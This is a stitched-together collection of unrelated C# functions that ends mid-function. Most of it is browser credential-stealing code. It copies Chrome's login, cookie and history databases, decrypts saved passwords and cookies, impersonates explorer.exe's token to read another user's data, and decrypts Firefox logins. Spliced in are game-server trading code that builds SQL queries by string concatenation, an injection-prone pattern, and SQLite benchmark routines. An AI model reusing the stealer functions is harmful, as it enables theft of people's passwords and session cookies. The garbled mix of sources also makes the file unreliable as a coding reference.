public static bool Chrome_history()
{
string chrome_History_path = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Default\History";
if (File.Exists(chrome_History_path) == true)
{
string cookie_tempFile = Path.GetTempFileName();
File.Copy(chrome_History_path, cookie_tempFile, true);
Console.WriteLine("\t[+] Copy {0} to {1}", chrome_History_path, cookie_tempFile);
SQLiteDatabase database = new SQLiteDatabase(cookie_tempFile);
string query = "select url,title from urls";
DataTable resultantQuery = database.ExecuteQuery(query);
foreach (DataRow row in resultantQuery.Rows)
{
string url = (string)row["url"];
string title = (string)row["title"];
Console.WriteLine("\t{0} \t {1}", url, title);
}
database.CloseDatabase();
System.IO.File.Delete(cookie_tempFile);
Console.WriteLine("\t[+] Delete File {0}", cookie_tempFile);
}
else
{
Console.WriteLine("[-] {0} Not Found!", chrome_History_path);
}
return(true);
}
public HistoricUrl[] GetHistory()
{
HostCookies[] cookies = GetCookies();
string historyPath = userChromeHistoryPath;
if (useTmpFile)
{
historyPath = Utils.FileUtils.CreateTempDuplicateFile(historyPath);
}
SQLiteDatabase database = new SQLiteDatabase(historyPath);
string query = "SELECT url, title, visit_count, last_visit_time FROM urls ORDER BY visit_count;";
DataTable resultantQuery = database.ExecuteQuery(query);
database.CloseDatabase();
HistoricUrl[] results = new HistoricUrl[resultantQuery.Rows.Count];
for (int i = 0; i < resultantQuery.Rows.Count; i++)
{
DataRow row = resultantQuery.Rows[i];
results[i] = new HistoricUrl(row, cookies);
}
if (useTmpFile)
{
try
{
File.Delete(historyPath);
} catch { Console.WriteLine("[X] Failed to delete temp history file: {0}", historyPath); }
}
return(results);
}
public SavedLogin[] GetSavedLogins()
{
string loginData = userChromeLoginDataPath;
if (useTmpFile)
{
loginData = Utils.FileUtils.CreateTempDuplicateFile(loginData);
}
SQLiteDatabase database = new SQLiteDatabase(loginData);
string query = "SELECT action_url, username_value, password_value FROM logins";
DataTable resultantQuery = database.ExecuteQuery(query);
List <SavedLogin> logins = new List <SavedLogin>();
foreach (DataRow row in resultantQuery.Rows)
{
string password = String.Empty;
byte[] passwordBytes = Convert.FromBase64String((string)row["password_value"]);
byte[] decBytes = DecryptBlob(passwordBytes);
if (decBytes != null)
{
password = Encoding.ASCII.GetString(decBytes);
}
if (password != String.Empty)
{
logins.Add(new SavedLogin(row["action_url"].ToString(), row["username_value"].ToString(), password));
}
}
database.CloseDatabase();
return(logins.ToArray());
}
public static void ParseChromeHistory(string historyFilePath, string user, HostCookies[] cookies)
{
SQLiteDatabase database = new SQLiteDatabase(historyFilePath);
string query = "SELECT url, title, visit_count, last_visit_time FROM urls ORDER BY visit_count;";
DataTable resultantQuery = database.ExecuteQuery(query);
database.CloseDatabase();
foreach (DataRow row in resultantQuery.Rows)
{
var lastVisitTime = row["last_visit_time"];
Console.WriteLine("--- Chrome History (User: {0}) ---", user);
Console.WriteLine("URL : {0}", row["url"]);
if (row["title"] != String.Empty)
{
Console.WriteLine("Title : {0}", row["title"]);
}
else
{
Console.WriteLine("Title : No Title");
}
Console.WriteLine("Visit Count : {0}", row["visit_count"]);
HostCookies matching = FilterHostCookies(cookies, row["url"].ToString());
Console.WriteLine("Cookies : {0}", matching.ToJSON());
Console.WriteLine();
}
}
/**
* Updates a Slot1 and Slot2 of any GEItem in the database instantly.
* @param GEItem
*/
public void updateGEItemSlotsDatabase(GEItem geItem)
{
try
{
SQLiteDatabase db = new SQLiteDatabase(Constants.databaseName);
/**
* Each time you do in GESession.cs [checkOffer or abortOffer]
* A Slot1 and Slot2 is generated but those Slot's themselves are never saved, less data like this.
* Only thing thats saved is how much to generate of those Slots next time you call [checkOffer].
* Even generated Slots check against how much they can truly take out.
*/
if (geItem is BuyOffer)
{
db.ExecuteNonQuery("UPDATE grandExchangeBuying SET collectedItem = " + geItem.getAmountCollectedItem() + ", collectedGold = " + geItem.getAmountCollectedGold() + " WHERE slot = " + geItem.getSlot() + " AND playerHash = " + geItem.getPlayerHash());
}
else if (geItem is SellOffer)
{
db.ExecuteNonQuery("UPDATE grandExchangeSelling SET collectedItem = " + geItem.getAmountCollectedItem() + ", collectedGold = " + geItem.getAmountCollectedGold() + " WHERE slot = " + geItem.getSlot() + " AND playerHash = " + geItem.getPlayerHash());
}
db.CloseDatabase();
}
catch (Exception e)
{
misc.WriteError("GrandExchange Error]: " + e.Message);
}
}
public static bool Chrome_logins()
{
//copy login data
string login_data_path = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Default\Login Data";
if (File.Exists(login_data_path) == true)
{
string chrome_state_file = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Local State";
string login_data_tempFile = Path.GetTempFileName();
File.Copy(login_data_path, login_data_tempFile, true);
Console.WriteLine("\t[+] Copy {0} to {1}", login_data_path, login_data_tempFile);
SQLiteDatabase database = new SQLiteDatabase(login_data_tempFile);
string query = "SELECT origin_url, username_value, password_value FROM logins";
DataTable resultantQuery = database.ExecuteQuery(query);
foreach (DataRow row in resultantQuery.Rows)
{
string url;
string username;
string password;
string crypt_password;
url = (string)row["origin_url"].ToString();
username = (string)row["username_value"].ToString();
crypt_password = row["password_value"].ToString();
byte[] passwordBytes = Convert.FromBase64String(crypt_password);
try
{
//老版本解密
password = Encoding.UTF8.GetString(ProtectedData.Unprotect(passwordBytes, null, DataProtectionScope.CurrentUser));
//Console.WriteLine("{0} {1} {2}", originUrl, username, password);
}
catch (Exception ex) //如果异常了就用新加密方式尝试
{
byte[] masterKey = GetMasterKey(chrome_state_file);
password = DecryptWithKey(passwordBytes, masterKey);
}
Console.WriteLine("\t[URL] -> {0}\n\t[USERNAME] -> {1}\n\t[PASSWORD] -> {2}\n", url, username, password);
}
database.CloseDatabase();
System.IO.File.Delete(login_data_tempFile);
Console.WriteLine("\t[+] Delete File {0}", login_data_tempFile);
}
else
{
Console.WriteLine("[-] {0} Not Found!", login_data_path);
}
return(false);
}
public static bool Chrome_cookies()
{
string chrome_cookie_path = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Default\Cookies";
if (File.Exists(chrome_cookie_path) == true)
{
string chrome_state_file = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Local State";
string cookie_tempFile = Path.GetTempFileName();
File.Copy(chrome_cookie_path, cookie_tempFile, true);
Console.WriteLine("\t[+] Copy {0} to {1}", chrome_cookie_path, cookie_tempFile);
SQLiteDatabase database = new SQLiteDatabase(cookie_tempFile);
string query = "SELECT host_key, name,encrypted_value FROM cookies";
DataTable resultantQuery = database.ExecuteQuery(query);
foreach (DataRow row in resultantQuery.Rows)
{
string host_key = (string)row["host_key"];
string name = (string)row["name"];
byte[] cookieBytes = Convert.FromBase64String((string)row["encrypted_value"]);
string cookie_value;
try
{
//老版本解密
cookie_value = Encoding.UTF8.GetString(ProtectedData.Unprotect(cookieBytes, null, DataProtectionScope.CurrentUser));
//Console.WriteLine("{0} {1} {2}", originUrl, username, password);
}
catch (Exception ex) //如果异常了就用新加密方式尝试
{
byte[] masterKey = GetMasterKey(chrome_state_file);
cookie_value = DecryptWithKey(cookieBytes, masterKey);
}
Console.WriteLine("\t[{0}] \t {1}={2}", host_key, name, cookie_value);
}
database.CloseDatabase();
System.IO.File.Delete(cookie_tempFile);
Console.WriteLine("\t[+] Delete File {0}", cookie_tempFile);
}
else
{
Console.WriteLine("[-] {0} Not Found!", chrome_cookie_path);
}
return(true);
}
public override IEnumerable <CredentialModel> GetSavedCredentials()
{
var result = new List <CredentialModel>();
var p = Path.Combine(BaseAppDataPath, "Login Data");
var keyPath = Path.Combine(BaseAppDataPath, "..\\Local State");
try
{
if (File.Exists(p))
{
SQLiteDatabase database = new SQLiteDatabase(p);
string query = "SELECT action_url, username_value, password_value FROM logins";
DataTable resultantQuery = database.ExecuteQuery(query);
if (resultantQuery.Rows.Count > 0)
{
var key = GCDecryptor.GetKey(keyPath);
foreach (DataRow row in resultantQuery.Rows)
{
byte[] encryptedData = Convert.FromBase64String((string)row["password_value"]);
GCDecryptor.Prepare(encryptedData, out var nonce, out var cipherTextTag);
var pass = GCDecryptor.Decrypt(cipherTextTag, key, nonce);
string actionUrl = row["action_url"] is System.DBNull ? string.Empty : (string)row["action_url"];
string usernameValue = row["username_value"] is System.DBNull ? string.Empty : (string)row["username_value"];
result.Add(new CredentialModel
{
Url = actionUrl,
Username = usernameValue,
Password = pass
});
}
database.CloseDatabase();
}
}
}
catch (Exception e)
{
return(null);
}
return(result);
}
private static void GetItemsFromQuery(string dir, ref byte[] item1, ref byte[] item2, string query)
{
DataTable dt = new DataTable();
var db_way = dir + "\\key4.db";
SQLiteDatabase database = new SQLiteDatabase(db_way);
DataTable resultantQuery = database.ExecuteQuery(query);
int rows = resultantQuery.Rows.Count;
for (int i = 0; i < rows; i++)
{
Array.Resize(ref item2, ((byte[])Convert.FromBase64String((string)resultantQuery.Rows[i][1])).Length);
Array.Copy(((byte[])Convert.FromBase64String((string)resultantQuery.Rows[i][1])), item2, ((byte[])Convert.FromBase64String((string)resultantQuery.Rows[i][1])).Length);
Array.Resize(ref item1, ((byte[])Convert.FromBase64String((string)resultantQuery.Rows[i][0])).Length);
Array.Copy(((byte[])Convert.FromBase64String((string)resultantQuery.Rows[i][0])), item1, ((byte[])Convert.FromBase64String((string)resultantQuery.Rows[i][0])).Length);
}
database.CloseDatabase();
}
public static void ParseChromeLogins(string loginDataFilePath, string user)
{
SQLiteDatabase database = new SQLiteDatabase(loginDataFilePath);
string query = "SELECT action_url, username_value, password_value FROM logins";
DataTable resultantQuery = database.ExecuteQuery(query);
foreach (DataRow row in resultantQuery.Rows)
{
byte[] passwordBytes = Convert.FromBase64String((string)row["password_value"]);
byte[] decBytes = ProtectedData.Unprotect(passwordBytes, null, DataProtectionScope.CurrentUser);
string password = Encoding.ASCII.GetString(decBytes);
if (password != String.Empty)
{
Console.WriteLine("--- Chrome Credential (User: {0}) ---", user);
Console.WriteLine("URL : {0}", row["action_url"]);
Console.WriteLine("Username : {0}", row["username_value"]);
Console.WriteLine("Password : {0}", password);
Console.WriteLine();
}
}
database.CloseDatabase();
}
public static HostCookies[] ParseChromeCookies(string cookiesFilePath, string user, bool printResults = false, string[] domains = null)
{
SQLiteDatabase database = new SQLiteDatabase(cookiesFilePath);
string query = "SELECT * FROM cookies ORDER BY host_key";
DataTable resultantQuery = database.ExecuteQuery(query);
database.CloseDatabase();
// This will group cookies based on Host Key
HostCookies[] rawCookies = SortCookieData(resultantQuery);
if (printResults)
{
if (domains != null)
{
foreach (string domain in domains)
{
HostCookies hostInstance = FilterHostCookies(rawCookies, domain);
Console.WriteLine("--- Chrome Cookie (User: {0}) ---", user);
Console.WriteLine("Domain : {0}", hostInstance.HostName);
Console.WriteLine("Cookies (JSON) : {0}", hostInstance.ToJSON());
Console.WriteLine();
}
}
else
{
foreach (HostCookies cookie in rawCookies)
{
Console.WriteLine("--- Chrome Cookie (User: {0}) ---", user);
Console.WriteLine("Domain : {0}", cookie.HostName);
Console.WriteLine("Cookies (JSON) : {0}", cookie.ToJSON());
Console.WriteLine();
}
}
}
// Parse the raw cookies into HostCookies that are grouped by common domain
return(rawCookies);
}
// You want cookies? Get them here.
public HostCookies[] GetCookies()
{
string cookiePath = userChromeCookiesPath;
if (useTmpFile)
{
cookiePath = Utils.FileUtils.CreateTempDuplicateFile(userChromeCookiesPath);
}
SQLiteDatabase database = new SQLiteDatabase(cookiePath);
string query = "SELECT * FROM cookies ORDER BY host_key";
DataTable resultantQuery = database.ExecuteQuery(query);
database.CloseDatabase();
HostCookies[] rawCookies = ExtractCookiesFromSQLQuery(resultantQuery);
if (useTmpFile)
{
try
{
File.Delete(cookiePath);
}
catch { Console.WriteLine("[X] Failed to delete temp cookie path at {0}", cookiePath); }
}
return(rawCookies);
}
protected void removeAddUpdateOffersToGrandExchangeDatabase()
{
while (true)
{
try
{
Thread.Sleep(100); //100 milliseconds.
}
catch (ThreadInterruptedException) { }
lock (removeOffersLocker)
{
foreach (GEItem geItem in offersToRemove)
{
removingOffers.Add(geItem);
}
offersToRemove.Clear();
}
lock (addOffersLocker)
{
foreach (GEItem geItem in offersToAdd)
{
addingOffers.Add(geItem);
}
offersToAdd.Clear();
}
lock (abortOffersLocker)
{
foreach (GEItem geItem in offersToAbort)
{
abortingOffers.Add(geItem);
}
offersToAbort.Clear();
}
try
{
//this check should go straight to Thread.Sleep.
if (removingOffers.Count == 0 && addingOffers.Count == 0 && abortingOffers.Count == 0)
{
continue;
}
//Run this on seperate thread so it won't slow down the process.
SQLiteDatabase db = new SQLiteDatabase(Constants.databaseName); //opens new database connection.
//Removes all the removingOffers from grandExchangeSelling table
//This delayed offer deleter should always be ran before inserter (below) or else it's possible bug may occur.
foreach (GEItem geItem in removingOffers)
{
if (geItem is BuyOffer)
{
db.ExecuteNonQuery("DELETE FROM grandExchangeBuying WHERE `playerHash` = " + geItem.getPlayerHash() + " AND `itemId` = " + geItem.getItem() + " AND `amount` = " + geItem.getTotalAmount() + " AND `price` = " + geItem.getPriceEach() + " AND `slot` = " + geItem.getSlot());
}
else if (geItem is SellOffer)
{
db.ExecuteNonQuery("DELETE FROM grandExchangeSelling WHERE `playerHash` = " + geItem.getPlayerHash() + " AND `itemId` = " + geItem.getItem() + " AND `amount` = " + geItem.getTotalAmount() + " AND `price` = " + geItem.getPriceEach() + " AND `slot` = " + geItem.getSlot());
}
}
//Add all new addingOffers to grandExchangeBuying or grandExchangeSelling table.
//This delayed offer inserter would cause a possible dupe, if both tables didn't have UNIQUE( slot, playerHash ), fixed now.
foreach (GEItem geItem in addingOffers)
{
if (geItem is BuyOffer)
{
db.ExecuteNonQuery("INSERT INTO grandExchangeBuying(itemId, amount, price, bought, slot, playerHash) VALUES (" + geItem.getItem() + ", " + geItem.getTotalAmount() + ", " + geItem.getPriceEach() + ", " + geItem.getAmountTraded() + ", " + geItem.getSlot() + ", " + geItem.getPlayerHash() + ")");
}
else if (geItem is SellOffer)
{
db.ExecuteNonQuery("INSERT INTO grandExchangeSelling(itemId, amount, price, sold, slot, playerHash) VALUES (" + geItem.getItem() + ", " + geItem.getTotalAmount() + ", " + geItem.getPriceEach() + ", " + geItem.getAmountTraded() + ", " + geItem.getSlot() + ", " + geItem.getPlayerHash() + ")");
}
}
//Aborts any Buying Offer or Selling Offer from grandExchangeBuying or grandExchangeSelling table.
foreach (GEItem geItem in abortingOffers)
{
if (geItem is BuyOffer)
{
db.ExecuteNonQuery("UPDATE grandExchangeBuying SET aborted = 1 WHERE slot = " + geItem.getSlot() + " AND playerHash = " + geItem.getPlayerHash());
}
else if (geItem is SellOffer)
{
db.ExecuteNonQuery("UPDATE grandExchangeSelling SET aborted = 1 WHERE slot = " + geItem.getSlot() + " AND playerHash = " + geItem.getPlayerHash());
}
}
db.CloseDatabase(); //closes the connection.
removingOffers.Clear();
addingOffers.Clear();
abortingOffers.Clear();
} catch (Exception e) {
misc.WriteError(e.Message);
}
}
}
private List <GEItem> abortingOffers; //holds the offers that will be aborted from abortingOffers
public GrandExchange()
{
offersToRemove = new List <GEItem>();
removingOffers = new List <GEItem>();
offersToAdd = new List <GEItem>();
addingOffers = new List <GEItem>();
offersToAbort = new List <GEItem>();
abortingOffers = new List <GEItem>();
/* Load grand exchange items */
Console.WriteLine("Checking SQLite Database Grand Exchange Items Counts");
try
{
string buyerCount = "0";
string sellerCount = "0";
string abortedBuyerCount = "0";
string abortedSellerCount = "0";
SQLiteDatabase db = new SQLiteDatabase(Constants.databaseName);
DataTable dt = db.ExecuteQuery("SELECT Count(*) FROM grandExchangeBuying");
if (dt.Rows.Count == 0)
{
buyerCount = "0";
}
else
{
buyerCount = dt.Rows[0].ItemArray[0].ToString();
}
dt = db.ExecuteQuery("SELECT Count(*) FROM grandExchangeSelling");
if (dt.Rows.Count == 0)
{
sellerCount = "0";
}
else
{
sellerCount = dt.Rows[0].ItemArray[0].ToString();
}
dt = db.ExecuteQuery("SELECT Count(*) FROM grandExchangeBuying WHERE aborted=1");
if (dt.Rows.Count == 0)
{
abortedBuyerCount = "0";
}
else
{
abortedBuyerCount = dt.Rows[0].ItemArray[0].ToString();
}
dt = db.ExecuteQuery("SELECT Count(*) FROM grandExchangeSelling WHERE aborted=1");
if (dt.Rows.Count == 0)
{
abortedSellerCount = "0";
}
else
{
abortedSellerCount = dt.Rows[0].ItemArray[0].ToString();
}
db.CloseDatabase();
Console.WriteLine("Total GrandExchange Buyers Count: " + buyerCount);
Console.WriteLine("Total GrandExchange Sellers Count: " + sellerCount);
Console.WriteLine("Total GrandExchange Aborted Buyers Count: " + abortedBuyerCount);
Console.WriteLine("Total GrandExchange Aborted Sellers Count: " + abortedSellerCount);
}
catch (Exception e)
{
misc.WriteError(e.Message);
}
Event startGEEvent = new Event(5000);
startGEEvent.setAction(() =>
{
processSales();
});
Server.registerEvent(startGEEvent);
/*
* Processes all the removing offers to SQL database on a new thread.
* This will improve the proformance of the server
*/
new Thread(removeAddUpdateOffersToGrandExchangeDatabase).Start();
}
public GEItem getOfferByPlayerSlot(Player p, byte slot)
{
/*
* Gives the player their GrandExchange Items both Buying and Selling are here.
* Returns a GEItem[] of all Item's array based on slot id, null array index = space
*/
long playerHash = p.getLoginDetails().getLongName();
try
{
int itemId;
int amount;
int price;
bool isSoldNull;
bool isBoughtNull;
int sold;
int bought;
int collectedItem;
int collectedGold;
int overpaid;
bool aborted;
GEItem geItem = null;
SQLiteDatabase db = new SQLiteDatabase(Constants.databaseName);
SQLiteVdbe preparedStatement = new SQLiteVdbe(db, "SELECT itemId, amount, price, bought, NULL sold, collectedItem, collectedGold, overpaid, aborted FROM grandExchangeBuying WHERE playerHash = ? AND slot = ? UNION SELECT itemId, amount, price, NULL bought, sold, collectedItem, collectedGold, overpaid, aborted FROM grandExchangeSelling WHERE playerHash = ? AND slot = ?");
preparedStatement.Reset();
preparedStatement.BindLong(1, playerHash);
preparedStatement.BindInteger(2, slot);
preparedStatement.BindLong(3, playerHash);
preparedStatement.BindInteger(4, slot);
while (preparedStatement.ExecuteStep() != Sqlite3.SQLITE_DONE)
{
if (preparedStatement.GetLastError() != "")
{
misc.WriteError("[GrandExchange SQL Error]: " + preparedStatement.GetLastError());
return(null);
}
itemId = preparedStatement.Result_Int(0);
amount = preparedStatement.Result_Int(1);
price = preparedStatement.Result_Int(2);
isBoughtNull = string.IsNullOrEmpty(preparedStatement.Result_Text(3));
isSoldNull = string.IsNullOrEmpty(preparedStatement.Result_Text(4));
collectedItem = preparedStatement.Result_Int(5);
collectedGold = preparedStatement.Result_Int(6);
overpaid = preparedStatement.Result_Int(7);
aborted = Convert.ToBoolean(preparedStatement.Result_Int(8));
if (isSoldNull && !isBoughtNull)
{
bought = Convert.ToInt32(preparedStatement.Result_Text(3));
geItem = new BuyOffer(itemId, amount, price, bought, collectedItem, collectedGold, overpaid, slot, aborted, playerHash);
}
else if (isBoughtNull && !isSoldNull)
{
sold = Convert.ToInt32(preparedStatement.Result_Text(4));
geItem = new SellOffer(itemId, amount, price, sold, collectedItem, collectedGold, overpaid, slot, aborted, playerHash);
}
else
{
misc.WriteError("[GrandExchange Error]: sold or bought both are NULL? how this happen?");
}
}
db.CloseDatabase();
return(geItem);
}
catch (Exception e)
{
misc.WriteError("[GrandExchange Error]: " + e.Message);
}
return(null);
}
static void Main(string[] args)
{
Console.WriteLine("[+] Current user {0}", Environment.UserName);
//先获取 explorer.exe 进程
foreach (Process p in Process.GetProcesses())
{
int pid = p.Id;
string processname = p.ProcessName;
string process_of_user = GetProcessUserName(pid);
// Recvtoself
if (processname == "explorer")
{
Console.WriteLine("[+] [{0}] [{1}] [{2}]", pid, processname, process_of_user);
ImpersonateProcessToken(pid);
Console.WriteLine("[+] Impersonate user {0}", Environment.UserName);
Console.WriteLine("[+] Current user {0}", Environment.UserName);
//copy login data
string login_data_path = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Default\Login Data";
string chrome_state_file = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Local State";
string login_data_tempFile = Path.GetTempFileName();
File.Copy(login_data_path, login_data_tempFile, true);
Console.WriteLine("[+] Copy {0} to {1}", login_data_path, login_data_tempFile);
SQLiteDatabase database = new SQLiteDatabase(login_data_tempFile);
string query = "SELECT origin_url, username_value, password_value FROM logins";
DataTable resultantQuery = database.ExecuteQuery(query);
foreach (DataRow row in resultantQuery.Rows)
{
string url;
string username;
try
{
url = (string)row["origin_url"];
username = (string)row["username_value"];
}
catch
{
continue;
}
byte[] passwordBytes = Convert.FromBase64String((string)row["password_value"]);
string password;
try
{
//老版本解密
password = Encoding.UTF8.GetString(ProtectedData.Unprotect(passwordBytes, null, DataProtectionScope.CurrentUser));
//Console.WriteLine("{0} {1} {2}", originUrl, username, password);
}
catch (Exception ex) //如果异常了就用新加密方式尝试
{
byte[] masterKey = GetMasterKey(chrome_state_file);
password = DecryptWithKey(passwordBytes, masterKey);
}
Console.WriteLine("\tURL -> {0}\n\tUSERNAME -> {1}\n\tPASSWORD -> {2}\n", url, username, password);
}
database.CloseDatabase();
System.IO.File.Delete(login_data_tempFile);
Console.WriteLine("[+] Delete File {0}", login_data_tempFile);
//回退权限
RevertToSelf();
Console.WriteLine("[+] Recvtoself");
Console.WriteLine("[+] Current user {0}", Environment.UserName);
break;
}
}
}
private static void TestCsharpSqlite()
{
SQLiteDatabase db;
SQLiteVdbe stmt;
SQLiteVdbe c1, c2;
bool found;
int i;
string databaseName = "Benchmark_cs-SQLite.sqlite";
if (File.Exists(databaseName))
{
File.Delete(databaseName);
}
db = new SQLiteDatabase(databaseName);
for (i = 0; i < PRAGMA_Commands.Length; i++)
{
db.ExecuteNonQuery(PRAGMA_Commands[i]);
}
db.ExecuteNonQuery("BEGIN EXCLUSIVE");
for (i = 0; i < CREATE_Commands.Length; i++)
{
db.ExecuteNonQuery(CREATE_Commands[i]);
}
stmt = new SQLiteVdbe(db, INSERT_Command);
long start = DateTime.Now.Ticks;
long key = 1999;
for (i = 0; i < nRecords; i++)
{
key = (3141592621L * key + 2718281829L) % 1000000007L;
stmt.Reset();
stmt.BindLong(1, key);
stmt.BindText(2, key.ToString());
stmt.ExecuteStep();
}
stmt.Close();
db.ExecuteNonQuery("END");
timer[1, 0] = DateTime.Now.Ticks - start;
db.ExecuteNonQuery("BEGIN EXCLUSIVE");
start = DateTime.Now.Ticks;
c1 = new SQLiteVdbe(db, SELECT_Bind_i);
c2 = new SQLiteVdbe(db, SELECT_Bind_s);
key = 1999;
for (i = 0; i < nRecords; i++)
{
key = (3141592621L * key + 2718281829L) % 1000000007L;
c1.Reset();
c1.BindLong(1, key);
c1.ExecuteStep();
c2.Reset();
c2.BindText(1, key.ToString());
c2.ExecuteStep();
long id = (long)c1.Result_Long(0);
Debug.Assert(id == (long)c2.Result_Long(0));
}
c1.Close();
c2.Close();
db.ExecuteNonQuery("END");
timer[1, 1] = DateTime.Now.Ticks - start;
db.ExecuteNonQuery("BEGIN EXCLUSIVE");
start = DateTime.Now.Ticks;
key = Int64.MinValue;
i = 0;
c1 = new SQLiteVdbe(db, SELECT_Command_i);
while (c1.ExecuteStep() != Sqlite3.SQLITE_DONE)
{
long intKey = (long)c1.Result_Long(0);
Debug.Assert(intKey >= key);
key = intKey;
i += 1;
}
c1.Close();
Debug.Assert(i == nRecords);
String strKey = "";
i = 0;
c2 = new SQLiteVdbe(db, SELECT_Command_s);
while (c2.ExecuteStep() != Sqlite3.SQLITE_DONE)
{
string recStrKey = (string)c2.Result_Text(1);
Debug.Assert(recStrKey.CompareTo(strKey) >= 0);
strKey = recStrKey;
i += 1;
}
c2.Close();
Debug.Assert(i == nRecords);
timer[1, 2] = DateTime.Now.Ticks - start;
db.ExecuteNonQuery("END");
db.ExecuteNonQuery("BEGIN EXCLUSIVE");
start = DateTime.Now.Ticks;
key = 1999;
stmt = new SQLiteVdbe(db, DELETE_Bind);
for (i = 0; i < nRecords; i++)
{
key = (3141592621L * key + 2718281829L) % 1000000007L;
stmt.Reset();
stmt.BindLong(1, key);
stmt.ExecuteStep();
}
stmt.Close();
db.ExecuteNonQuery("END");
timer[1, 3] = DateTime.Now.Ticks - start;
db.CloseDatabase();
#if NET_35
Sqlite3.Shutdown();
#else
Sqlite3.sqlite3_shutdown();
#endif
}
private static void TestcsSQLite()
{
SQLiteDatabase db;
SQLiteVdbe stmt;
SQLiteVdbe c1, c2;
bool found;
int i;
string databaseName = "Benchmark_cs-SQLite.sqlite";
Console.WriteLine("\n\r" + databaseName);
if (File.Exists(databaseName))
{
File.Delete(databaseName);
}
db = new SQLiteDatabase(databaseName);
for (i = 0; i < PRAGMA_Commands.Length; i++)
{
db.ExecuteNonQuery(PRAGMA_Commands[i]);
}
db.ExecuteNonQuery("BEGIN EXCLUSIVE");
for (i = 0; i < CREATE_Commands.Length; i++)
{
db.ExecuteNonQuery(CREATE_Commands[i]);
}
stmt = new SQLiteVdbe(db, INSERT_Command);
long start = DateTime.Now.Ticks;
long key = 1999;
for (i = 0; i < nRecords; i++)
{
key = (3141592621L * key + 2718281829L) % 1000000007L;
stmt.Reset();
stmt.BindLong(1, key);
stmt.BindText(2, key.ToString());
stmt.ExecuteStep();
}
stmt.Close();
db.ExecuteNonQuery("END");
Console.WriteLine("inserting " + nRecords + " records: "
+ ((DateTime.Now.Ticks - start) * 10e-8 + .05).ToString("#.0") + " seconds");
db.ExecuteNonQuery("BEGIN EXCLUSIVE");
start = DateTime.Now.Ticks;
c1 = new SQLiteVdbe(db, SELECT_Bind_i);
c2 = new SQLiteVdbe(db, SELECT_Bind_s);
key = 1999;
for (i = 0; i < nRecords; i++)
{
key = (3141592621L * key + 2718281829L) % 1000000007L;
c1.Reset();
c1.BindLong(1, key);
c1.ExecuteStep();
c2.Reset();
c2.BindText(1, key.ToString());
c2.ExecuteStep();
long id = (long)c1.Result_Long(0);
Debug.Assert(id == ( long)c2.Result_Long(0));
}
c1.Close();
c2.Close();
db.ExecuteNonQuery("END");
Console.WriteLine("performing " + nRecords * 2 + " index searches: "
+ ((DateTime.Now.Ticks - start) * 10e-8 + .05).ToString("#.0") + " seconds");
db.ExecuteNonQuery("BEGIN EXCLUSIVE");
start = DateTime.Now.Ticks;
key = Int64.MinValue;
i = 0;
c1 = new SQLiteVdbe(db, SELECT_Command_i);
while (c1.ExecuteStep() != csSQLite.SQLITE_DONE)
{
long intKey = (long)c1.Result_Long(0);
Debug.Assert(intKey >= key);
key = intKey;
i += 1;
}
c1.Close();
Debug.Assert(i == nRecords);
String strKey = "";
i = 0;
c2 = new SQLiteVdbe(db, SELECT_Command_s);
while (c2.ExecuteStep() != csSQLite.SQLITE_DONE)
{
string recStrKey = (string)c2.Result_Text(1);
Debug.Assert(recStrKey.CompareTo(strKey) >= 0);
strKey = recStrKey;
i += 1;
}
c2.Close();
Debug.Assert(i == nRecords);
Console.WriteLine("iterating through " + (nRecords * 2) + " records: "
+ ((DateTime.Now.Ticks - start) * 10e-8 + .05).ToString("#.0") + " seconds");
db.ExecuteNonQuery("END");
db.ExecuteNonQuery("BEGIN EXCLUSIVE");
start = DateTime.Now.Ticks;
key = 1999;
stmt = new SQLiteVdbe(db, DELETE_Bind);
for (i = 0; i < nRecords; i++)
{
key = (3141592621L * key + 2718281829L) % 1000000007L;
stmt.Reset();
stmt.BindLong(1, key);
stmt.ExecuteStep();
}
stmt.Close();
db.ExecuteNonQuery("END");
Console.WriteLine("deleting " + nRecords + " records: "
+ ((DateTime.Now.Ticks - start) * 10e-8 + .05).ToString("#.0") + " seconds");
db.CloseDatabase();
}
public override IEnumerable <CredentialModel> GetSavedCredentials()
{
var logins = new List <CredentialModel>();
string signonsFile = null;
string loginsFile = null;
bool signonsFound = false;
bool loginsFound = false;
try
{
var dirs = Directory.EnumerateDirectories(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Mozilla\\Firefox\\Profiles")).ToList();
if (!dirs.Any())
{
return(logins);
}
foreach (string dir in dirs)
{
string[] files = Directory.EnumerateFiles(dir, "signons.sqlite").ToArray();
if (files.Length > 0)
{
signonsFile = files[0];
signonsFound = true;
}
// find "logins.json"file
files = Directory.EnumerateFiles(dir, "logins.json").ToArray();
if (files.Length > 0)
{
loginsFile = files[0];
loginsFound = true;
}
if (loginsFound || signonsFound)
{
FFDecryptor.NSS_Init(dir);
break;
}
}
if (signonsFound)
{
SQLiteDatabase database = new SQLiteDatabase("Data Source=" + signonsFile + ";");
string query = "SELECT encryptedUsername, encryptedPassword, hostname FROM moz_logins";
DataTable resultantQuery = database.ExecuteQuery(query);
if (resultantQuery.Rows.Count > 0)
{
foreach (DataRow row in resultantQuery.Rows)
{
string encryptedUsername = row["encryptedUsername"] is System.DBNull ? string.Empty : (string)row["encryptedUsername"];
string encryptedPassword = row["encryptedPassword"] is System.DBNull ? string.Empty : (string)row["encryptedPassword"];
string hostname = row["hostname"] is System.DBNull ? string.Empty : (string)row["hostname"];
string username = FFDecryptor.Decrypt(encryptedUsername);
string password = FFDecryptor.Decrypt(encryptedPassword);
logins.Add(new CredentialModel
{
Username = username,
Password = password,
Url = hostname
});
}
database.CloseDatabase();
}
}
if (loginsFound)
{
FFLogins ffLoginData;
using (StreamReader sr = new StreamReader(loginsFile))
{
string json = sr.ReadToEnd();
ffLoginData = new JavaScriptSerializer().Deserialize <FFLogins>(json);
}
foreach (Browsers.Firefox.LoginData loginData in ffLoginData.logins)
{
string username = Browsers.Firefox.FFDecryptor.Decrypt(loginData.encryptedUsername);
